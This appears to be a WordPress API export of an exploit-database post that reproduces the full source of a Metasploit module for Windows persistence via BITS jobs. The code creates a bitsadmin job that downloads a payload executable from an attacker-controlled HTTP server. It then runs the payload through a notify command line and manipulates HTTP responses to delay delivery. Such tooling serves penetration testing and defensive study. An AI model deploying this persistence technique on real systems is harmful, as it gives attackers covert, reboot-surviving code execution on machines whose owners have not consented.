{"id":47293,"date":"2026-04-15T14:47:02","date_gmt":"2026-04-15T14:47:02","guid":{"rendered":"http:\/\/localhost\/?p=47293"},"modified":"2026-04-15T14:47:02","modified_gmt":"2026-04-15T14:47:02","slug":"windows-persistence-bits-job","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=47293","title":{"rendered":"Windows Persistence Bits Job_MSF:EXPLOIT-WINDOWS-PERSISTENCE-BITS-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-15T19:28:07&#8243;,&#8221;description&#8221;:&#8221;This module establishes persistence through a BITS job that downloads and executes a payload. Background Intelligent Transfer Service BITS is a Windows service for transferring files in the background using idle network bandwidth. BITS jobs are&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-15T19:02:24&#8243;,&#8221;modified&#8221;:&#8221;2026-04-15T19:02:24&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Windows Persistence Bits Job&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-WINDOWS-PERSISTENCE-BITS-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Local\\n  Rank = ExcellentRanking\\n\\n  include Msf::Post::Windows::Priv\\n  include Msf::Post::File\\n  include Msf::Exploit::Remote::HttpServer\\n  include Msf::Exploit::Local::Persistence # persistence and HttpServer get funky together with overwriting exploit function\\n  include Msf::Exploit::EXE\\n  prepend Msf::Exploit::Remote::AutoCheck\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;Windows Persistence Bits Job&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module establishes persistence through a BITS job that\\n          downloads and executes a payload. Background Intelligent Transfer Service\\n          (BITS) is a Windows service for transferring files in the background\\n          using idle network bandwidth. BITS jobs are persistent and will resume\\n          across reboots until completed or cancelled.\\n\\n          BITS does not include a timing mechanism for when jobs are run, so we control that\\n          in how we respond to the HTTP requests from the BITS client. This avoids needing\\n          to set up an external trigger to start the job like a scheduled task or similar.\\n\\n          Similarily, BITS jobs are somewhat clock agnostic, so while we can set some\\n          time parameters, the aren&#8217;t a guarantee of when the job will actually run.\\n          Jobs that we&#8217;ve idled via HTTP server response will have a \\&#8221;CONNECTING\\&#8221; status.\\n\\n          BITS is fickle about the HTTP responses it expects, so we have to be precise in\\n          how the server responds. For a HEAD request we need to send back a correct\\n          Content-Length header matching the payload size, but with no body. For GET requests\\n          we need to handle byte range requests properly (althought not always used),\\n          sending back the appropriate\\n          Content-Range headers. If we respond incorrectly BITS may error out or retry\\n          in unexpected ways. However, we can trick BITS into not getting the payload until\\n          we want by responding to the GET requests with no body (aka how we responded to\\n          the HEAD requests) until our delay time has reached.\\n        },\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;h00die&#8217;,\\n        ],\\n        &#8216;Platform&#8217; =\\u003e [ &#8216;win&#8217; ],\\n        &#8216;Arch&#8217; =\\u003e [ ARCH_X86, ARCH_X64 ],\\n        &#8216;SessionTypes&#8217; =\\u003e [ &#8216;meterpreter&#8217; ],\\n        &#8216;Targets&#8217; =\\u003e [\\n          [ &#8216;Automatic&#8217;, {} ]\\n        ],\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;ATT\\u0026CK&#8217;, Mitre::Attack::Technique::T1197_BITS_JOBS],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/pentestlab.blog\/2019\/10\/30\/persistence-bits-jobs\/&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/learn.microsoft.com\/en-us\/windows-server\/administration\/windows-commands\/bitsadmin&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/bits\/life-cycle-of-a-bits-job&#8217;],\\n        ],\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;Stance&#8217; =\\u003e Msf::Exploit::Stance::Passive,\\n        &#8216;Passive&#8217; =\\u003e true,\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2001-10-01&#8217;, # bits release date\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Reliability&#8217; =\\u003e [EVENT_DEPENDENT, REPEATABLE_SESSION],\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;SideEffects&#8217; =\\u003e [CONFIG_CHANGES, IOC_IN_LOGS]\\n        }\\n      )\\n    )\\n\\n    register_options([\\n      OptString.new(&#8216;JOB_NAME&#8217;, [false, &#8216;The name to use for the bits job provider. (Default: random)&#8217; ]),\\n      OptString.new(&#8216;PAYLOAD_NAME&#8217;, [false, &#8216;Name of payload file to write. Random string as default.&#8217;]),\\n      # DELAY is a bit of a misnomer, as BITS jobs run when the system deems fit. So this is simply a light\\n      # suggestion to the system\\n      OptInt.new(&#8216;DELAY&#8217;, [false, &#8216;Delay in seconds before callback.&#8217;, 1.hours.to_i]),\\n      OptInt.new(&#8216;RETRY_DELAY&#8217;, [false, &#8216;Delay in seconds between retries.&#8217;, 10.minutes.to_i]),\\n    ])\\n  end\\n\\n  def writable_dir\\n    d = super\\n    return session.sys.config.getenv(d) if d.start_with?(&#8216;%&#8217;)\\n\\n    d\\n  end\\n\\n  def http_response_head\\n    # unfortunately if we include a content-length header like:\\n    #    return send_response(cli, generate_payload_exe, { &#8216;Content-Length&#8217; =\\u003e generate_payload_exe.bytesize })\\n    # it gets overwritten to 0 by the http server if the body is empty, so we have to build and send our http server\\n    # response to headers manually so they adhere to the spec close enough for BITS to accept it.\\n    # You may also think that we can just send the full payload here, but BITS expects no body on HEAD requests and\\n    # it starts acting differently, let alone this would be a tell that its MSF not a normal HTTP server.\\n\\n    response = create_response(200, &#8216;OK&#8217;, &#8216;1.0&#8217;)\\n    headers = [\\n      # we want to send an arbitrarily low content length to prevent the server from doing Ranges.\\n      # while there is code to handle that, I&#8217;ve yet to determine a method to delay it from getting\\n      # the payload or going into an ERROR state and ceasing the job.\\n      \\&#8221;Content-Length: 5\\\\r\\\\n\\&#8221;,\\n      # \\&#8221;Content-Length: #{@pload.bytesize}\\\\r\\\\n\\&#8221;,\\n      \\&#8221;Accept-Ranges: none\\\\r\\\\n\\&#8221;,\\n      \\&#8221;Last-Modified: #{Time.now.httpdate}\\&#8221;\\n    ]\\n    response = response.to_s\\n    response = response.sub(&#8216;Content-Length: 0&#8217;, headers.join)\\n    response = response.sub(\\&#8221;Content-Type: text\/html\\\\r\\\\n\\&#8221;, \\&#8221;Content-Type: application\/vnd.microsoft.portable-executable\\\\r\\\\n\\&#8221;)\\n    response\\n  end\\n\\n  def http_response_range(start_byte, end_byte)\\n    payload_size = @pload.bytesize\\n    if start_byte \\u0026\\u0026 end_byte\\n      # normal range: bytes=100-200\\n      chunk = @pload.byteslice(start_byte, end_byte &#8211; start_byte + 1)\\n    elsif start_byte \\u0026\\u0026 !end_byte\\n      # bytes=500- (from 500 to end)\\n      chunk = @pload.byteslice(start_byte, payload_size &#8211; start_byte)\\n      end_byte = payload_size &#8211; 1\\n    elsif !start_byte \\u0026\\u0026 end_byte\\n      # bytes=-100 (last 100 bytes)\\n      chunk = @pload.byteslice(payload_size &#8211; end_byte, end_byte)\\n      start_byte = payload_size &#8211; end_byte\\n      end_byte = payload_size &#8211; 1\\n    else\\n      # fallback: send entire payload\\n      chunk = @pload\\n      start_byte = 0\\n      end_byte = payload_size &#8211; 1\\n    end\\n\\n    vprint_status(\\&#8221;HTTP Server: Sending bytes #{start_byte}-#{end_byte} of #{payload_size} to BITS client\\&#8221;)\\n    headers = {\\n      &#8216;Content-Type&#8217; =\\u003e &#8216;application\/vnd.microsoft.portable-executable&#8217;,\\n      &#8216;Content-Range&#8217; =\\u003e \\&#8221;bytes #{start_byte}-#{end_byte}\/#{payload_size}\\&#8221;\\n    }\\n\\n    response = create_response(206, &#8216;Partial Content&#8217;, &#8216;1.0&#8217;)\\n    response.body = chunk\\n    response.headers.merge!(headers)\\n    response.to_s\\n  end\\n\\n  def on_request_uri(cli, request)\\n    vprint_status(\\&#8221;HTTP Server: #{request.method} #{request.uri} requested by #{request[&#8216;User-Agent&#8217;]} on #{cli.peerhost}\\&#8221;)\\n    unless request[&#8216;User-Agent&#8217;].downcase.include?(&#8216;bits&#8217;)\\n      vprint_error(&#8216;HTTP Server: Non BITS client detected, sending 404&#8217;)\\n      return\\n    end\\n\\n    unless %w[HEAD GET].include?(request.method)\\n      vprint_error(\\&#8221;HTTP Server: Ignoring #{request.method} request\\&#8221;)\\n      return\\n    end\\n\\n    if request.method == &#8216;HEAD&#8217;\\n      vprint_good(&#8216;HTTP Server: HEAD request received, sending response&#8217;)\\n      return cli.put(http_response_head)\\n    end\\n\\n    # BITS may use byte ranges, so we need to parse that out and send back the appropriate data\\n    if request.headers[&#8216;Range&#8217;] =~ \/bytes=(\\\\d*)-(\\\\d*)\/\\n      start_byte = Regexp.last_match(1).empty? ? nil : Regexp.last_match(1).to_i\\n      end_byte = Regexp.last_match(2).empty? ? nil : Regexp.last_match(2).to_i\\n\\n      return cli.put(http_response_range(start_byte, end_byte))\\n    end\\n\\n    if @start_time + datastore[&#8216;DELAY&#8217;] \\u003e Time.now.to_i\\n      message = \\&#8221;HTTP Server: Early BITS connection, waiting till #{Time.at(@start_time + datastore[&#8216;DELAY&#8217;]).strftime(&#8216;%m\/%d\/%Y %H:%M:%S&#8217;)} (#{(@start_time + datastore[&#8216;DELAY&#8217;]) &#8211; Time.now.to_i}s left), sending empty body back to force a retry\\&#8221;\\n\\n      vprint_status(message)\\n      return cli.put(http_response_head)\\n    end\\n\\n    vprint_status(&#8216;HTTP Server: Sending full payload to BITS client&#8217;)\\n    return send_response(cli, @pload, { &#8216;Content-Type&#8217; =\\u003e &#8216;application\/vnd.microsoft.portable-executable&#8217; })\\n  end\\n\\n  def check\\n    print_warning(&#8216;Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.&#8217;) if datastore[&#8216;WritableDir&#8217;].start_with?(&#8216;%TEMP%&#8217;) # check the original value\\n    return CheckCode::Safe(\\&#8221;#{writable_dir} doesnt exist\\&#8221;) unless exists?(writable_dir)\\n\\n    Msf::Exploit::CheckCode::Vulnerable(&#8216;Likely exploitable&#8217;)\\n  end\\n\\n  def install_persistence\\n    @pload = generate_payload_exe\\n    endpoint = Rex::Text.rand_text_alphanumeric(8..12)\\n\\n    start_service({\\n      &#8216;Uri&#8217; =\\u003e {\\n        &#8216;Proc&#8217; =\\u003e proc do |cli, req|\\n          on_request_uri(cli, req)\\n        end,\\n        &#8216;Path&#8217; =\\u003e \\&#8221;\/#{endpoint}\\&#8221;\\n      },\\n      &#8216;ssl&#8217; =\\u003e false\\n    })\\n\\n    job_name = datastore[&#8216;JOB_NAME&#8217;] || Rex::Text.rand_text_alphanumeric(8..12)\\n    payload_name = datastore[&#8216;PAYLOAD_NAME&#8217;] || Rex::Text.rand_text_alphanumeric(8..12)\\n    payload_name += &#8216;.exe&#8217; unless payload_name.downcase.end_with?(&#8216;.exe&#8217;)\\n\\n    result = cmd_exec(\\&#8221;bitsadmin \/create \\\\\\&#8221;#{job_name}\\\\\\&#8221;\\&#8221;)\\n    id = begin\\n      result.match(\/Created job (\\\\{[0-9A-Fa-f-]{36}\\\\})\\\\.\/)[0]\\n    rescue StandardError\\n      nil\\n    end\\n    fail_with(Failure::UnexpectedReply, &#8216;Failed to create BITS job&#8217;) unless id\\n    print_good(\\&#8221;Successfully created BITS job #{job_name} with ID #{id}\\&#8221;)\\n    @start_time = Time.now.to_i\\n    cmd_list =\\n      [\\n        %(bitsadmin \/addfile \\&#8221;#{job_name}\\&#8221; \\&#8221;http:\/\/#{srvhost_addr}:#{srvport}\/#{endpoint}\\&#8221; \\&#8221;#{writable_dir}\\\\\\\\#{payload_name}\\&#8221;),\\n        # this next line is a little complex. first we tell bits to complete the job which means after it&#8217;s done transfering move the downloaded file from\\n        # a temp file to its final location and delete the job. Then run our payload\\n\\n        %(bitsadmin \/SetNotifyCmdLine \\&#8221;#{job_name}\\&#8221; \\&#8221;cmd.exe\\&#8221; \\&#8221;\/c bitsadmin \/complete \\\\\\\\\\\\\\&#8221;#{job_name}\\\\\\\\\\\\\\&#8221; \\u0026\\u0026 if exist \\\\\\\\\\\\\\&#8221;#{writable_dir}\\\\\\\\#{payload_name}\\\\\\\\\\\\\\&#8221; start \/b \\\\\\\\\\\\\\&#8221;\\\\\\\\\\\\\\&#8221; \\\\\\\\\\\\\\&#8221;#{writable_dir}\\\\\\\\#{payload_name}\\\\\\\\\\\\\\&#8221;\\\\\\&#8221;\\&#8221;),\\n        %(bitsadmin \/SetMinRetryDelay \\&#8221;#{job_name}\\&#8221; #{datastore[&#8216;RETRY_DELAY&#8217;]}), # seconds\\n        %(bitsadmin \/setpriority \\&#8221;#{job_name}\\&#8221; high),\\n        %(bitsadmin \/setnoprogresstimeout \\&#8221;#{job_name}\\&#8221; 10), # seconds\\n        %(bitsadmin \/resume \\&#8221;#{job_name}\\&#8221;)\\n      ]\\n    cmd_list.each do |cmd|\\n      vprint_status(\\&#8221;Executing: #{cmd}\\&#8221;)\\n      result = cmd_exec(cmd)\\n      vprint_line(\\&#8221;    #{result.lines.last.chomp}\\&#8221;) if result \\u0026\\u0026 !result.empty?\\n    end\\n\\n    print_good(\\&#8221;Persistence installed! Payload will be downloaded to #{writable_dir}\\\\\\\\#{payload_name} when the BITS job #{job_name} runs.\\&#8221;)\\n    @clean_up_rc \\u003c\\u003c \\&#8221;bitsadmin \/cancel \\\\\\&#8221;#{id}\\\\\\&#8221;\\\\n\\&#8221;\\n    @clean_up_rc \\u003c\\u003c \\&#8221;rm \\\\\\&#8221;#{(writable_dir + &#8216;\\\\\\\\&#8217; + payload_name).gsub(&#8216;\\\\\\\\&#8217;, &#8216;\/&#8217;)}\\\\\\&#8221;\\\\n\\&#8221; # just in case one did execute\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/windows\/persistence\/bits.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/windows\/persistence\/bits\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-15T19:28:07&#8243;,&#8221;description&#8221;:&#8221;This module establishes persistence through a BITS job that downloads and executes a payload. Background Intelligent Transfer Service BITS is a Windows service for transferring&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-47293","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Windows Persistence Bits Job_MSF:EXPLOIT-WINDOWS-PERSISTENCE-BITS- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=47293\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Windows Persistence Bits Job_MSF:EXPLOIT-WINDOWS-PERSISTENCE-BITS- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-04-15T19:28:07&#8243;,&#8221;description&#8221;:&#8221;This module establishes persistence through a BITS job that downloads and executes a payload. Background Intelligent Transfer Service BITS is a Windows service for transferring...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=47293\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-04-15T14:47:02+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47293#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47293\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Windows Persistence Bits Job_MSF:EXPLOIT-WINDOWS-PERSISTENCE-BITS-\",\"datePublished\":\"2026-04-15T14:47:02+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47293\"},\"wordCount\":1855,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"metasploit\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=47293#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47293\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47293\",\"name\":\"Windows Persistence Bits Job_MSF:EXPLOIT-WINDOWS-PERSISTENCE-BITS- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-04-15T14:47:02+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47293#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=47293\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47293#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Windows Persistence Bits Job_MSF:EXPLOIT-WINDOWS-PERSISTENCE-BITS-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Windows Persistence Bits Job_MSF:EXPLOIT-WINDOWS-PERSISTENCE-BITS- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=47293","og_locale":"en_US","og_type":"article","og_title":"Windows Persistence Bits Job_MSF:EXPLOIT-WINDOWS-PERSISTENCE-BITS- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-04-15T19:28:07&#8243;,&#8221;description&#8221;:&#8221;This module establishes persistence through a BITS job that downloads and executes a payload. Background Intelligent Transfer Service BITS is a Windows service for transferring...","og_url":"https:\/\/zero.redgem.net\/?p=47293","og_site_name":"zero redgem","article_published_time":"2026-04-15T14:47:02+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"9 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=47293#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=47293"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Windows Persistence Bits Job_MSF:EXPLOIT-WINDOWS-PERSISTENCE-BITS-","datePublished":"2026-04-15T14:47:02+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=47293"},"wordCount":1855,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","metasploit","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=47293#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=47293","url":"https:\/\/zero.redgem.net\/?p=47293","name":"Windows Persistence Bits Job_MSF:EXPLOIT-WINDOWS-PERSISTENCE-BITS- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-04-15T14:47:02+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=47293#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=47293"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=47293#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Windows Persistence Bits Job_MSF:EXPLOIT-WINDOWS-PERSISTENCE-BITS-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/47293","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=47293"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/47293\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=47293"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=47293"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=47293"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}